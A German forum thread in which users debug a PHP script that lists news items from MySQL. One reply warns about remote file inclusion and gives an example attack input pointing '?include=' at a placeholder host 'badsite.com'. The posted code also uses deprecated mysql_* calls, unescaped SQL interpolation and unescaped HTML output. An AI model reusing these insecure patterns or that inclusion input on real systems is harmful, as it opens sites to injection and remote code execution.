• Liebe User, bitte beachtet folgendes Thema: Was im Forum passiert, bleibt im Forum! Danke!
  • Hallo Gemeinde! Das Problem leidet zurzeit unter technischen Problemen. Wir sind da dran, aber das Zeitkontingent ist begrenzt. In der Zwischenzeit dürfte den meisten aufgefallen sein, dass das Erstellen von Posts funktioniert, auch wenn das Forum erstmal eine Fehlermeldung wirft. Um unseren Löschaufwand zu minimieren, bitten wir euch darum, nicht mehrmals auf 'Post Reply' zu klicken, da das zur Mehrfachposts führt. Grußworte.

PHP: Scriptproblem ^_^

HoRRoRTeRRaN

Guest
Folgendes script gibt genau NICHTS aus, wo ist der Fehler?
<?php
$check1=1;
$numma=0;
$datenow=strtotime("+6 hours");
$nselect2=mysql_query("SELECT * FROM new_news ORDER BY date DESC LIMIT 50");
while($nselect=mysql_fetch_object($nselect2)) {
$datenow1=date("d.m.Y",$datenow);
$datecheck1=date("d.m.Y",$nselect->date);
if($datecheck1 == $datenow1) {
if($check1 == 1) {
if($numma > 0) {
echo "<tr><td></td></tr>"; }
echo "
<tr>
<td><b>".date("jS M Y",$datenow)."</b></td>
</tr>";
$check1++; }
echo "
<tr>
<td><img src=\"img/small_".$nselect->modus.".png\" border=\"0\"> <a href=\"index.php?include=view.news&newsid=".$nselect->id."\">".$nselect->topic;
$n2select2=mysql_query("SELECT * FROM new_newscomments WHERE news_id = '$nselect->id'");
$zahlen=0;
while($n2select=mysql_fetch_object($n2select2)) { $zahlen++; }
echo " ($zahlen)</a></td>
</tr>";
}
else {
$check1=1;
$datenow=$datenow-86400; }
$numma++;
}
?>
 

killerchicken_inaktiv

Guest
Das erste Problem ist die grausame Formatierung.

Zweitens: Wie waers damit, ne DB-Connection aufzumachen etc? Sonst kann das nicht funktionieren mit mysql_query...

Hier der Code nochmal in ordentlicher:

Code:
<?php
$check1=1;
$numma=0;
$datenow=strtotime("+6 hours");
$nselect2=mysql_query("SELECT * FROM new_news ORDER BY date DESC LIMIT 50");
while($nselect=mysql_fetch_object($nselect2))
{
	$datenow1=date("d.m.Y",$datenow);
	$datecheck1=date("d.m.Y",$nselect->date);
	if($datecheck1 == $datenow1)
	{
	
		if($check1 == 1)
		{
			if($numma > 0)
			{
				echo "<tr><td></td></tr>";
			}
			echo "
				<tr>
					<td><b>".date("jS M Y",$datenow)."</b></td>
				</tr>"; 
			$check1++;
		}
		echo "
		<tr>
		<td><img src=\"img/small_".$nselect->modus.".png\" border=\"0\"> <a href=\"index.php?include=view.news&newsid=".$nselect->id."\">".$nselect->topic;
		$n2select2=mysql_query("SELECT * FROM new_newscomments WHERE news_id = '$nselect->id'");
		$zahlen=0;
		while($n2select=mysql_fetch_object($n2select2)) { $zahlen++; }
		echo " ($zahlen)</a></td>
		</tr>";
	} else {
		$check1=1;
		$datenow=$datenow-86400;
	}
	$numma++;
}
?>
 

HoRRoRTeRRaN

Guest
der code ist bei mir eingerückt, wurde aber bei copy/paste innen browser nicht übernommen.
DB connection ist da, da das folgende script in die index datei included wird.
 

killerchicken_inaktiv

Guest
Wenn also ne DB-Con da ist, dann wird wahrscheinlich einfach durch das Query kein Datensatz ausgewaehlt :) Ohne weitere Infos (DB-Dump, restliches Script, etc) wird das hier jedenfalls nix
 
Mitglied seit
12.01.2004
Beiträge
8.557
Reaktionen
0
Ort
Gießem
mal was anderers_

Code:
?include=view.news

ich hoffe du addest da hinten nichtnur nen .php und bindest das via include ein. das wäre nämlich ein wundervolles sicherheitsloch.
 
Mitglied seit
12.01.2004
Beiträge
8.557
Reaktionen
0
Ort
Gießem
weil ich als user diese variable ändern kann

?include=http://badsite.com/badscript

oder wenn du irgendwo ne uploadmöglichkeit hast und filetypes net durchgehst etc ppp

ich machs generell so, dass ich mir noch ne tabelle anlegen und dort
id, name und file +sonstigen payload (z.b. permissionLevel) hinterlege
 

HoRRoRTeRRaN

Guest
k danke , fixed.
seht ihr in dem oben gegebenen script keinen fehler?
wie gesagt DB connection ist gegeben etc pp.
Falls es notwendig ist kann ich noch die strukturen der benutzen mysql tabellen geben.
 
Mitglied seit
18.08.2002
Beiträge
2.585
Reaktionen
198
Abgesehen von dem grauenhaften Code:

- was soll das Script leisten?
- Debugger anschmeißen und Variableninhalte ansehen.
- mysql_error() prüfen
- Ausgaben gibt es nur, wenn eine date-Spalte diese Bedingung erfüllt: if($datecheck1 == $datenow1). Gibt es überhaupt ein entsprechendes Tupel unter den neuesten 50?
 
Oben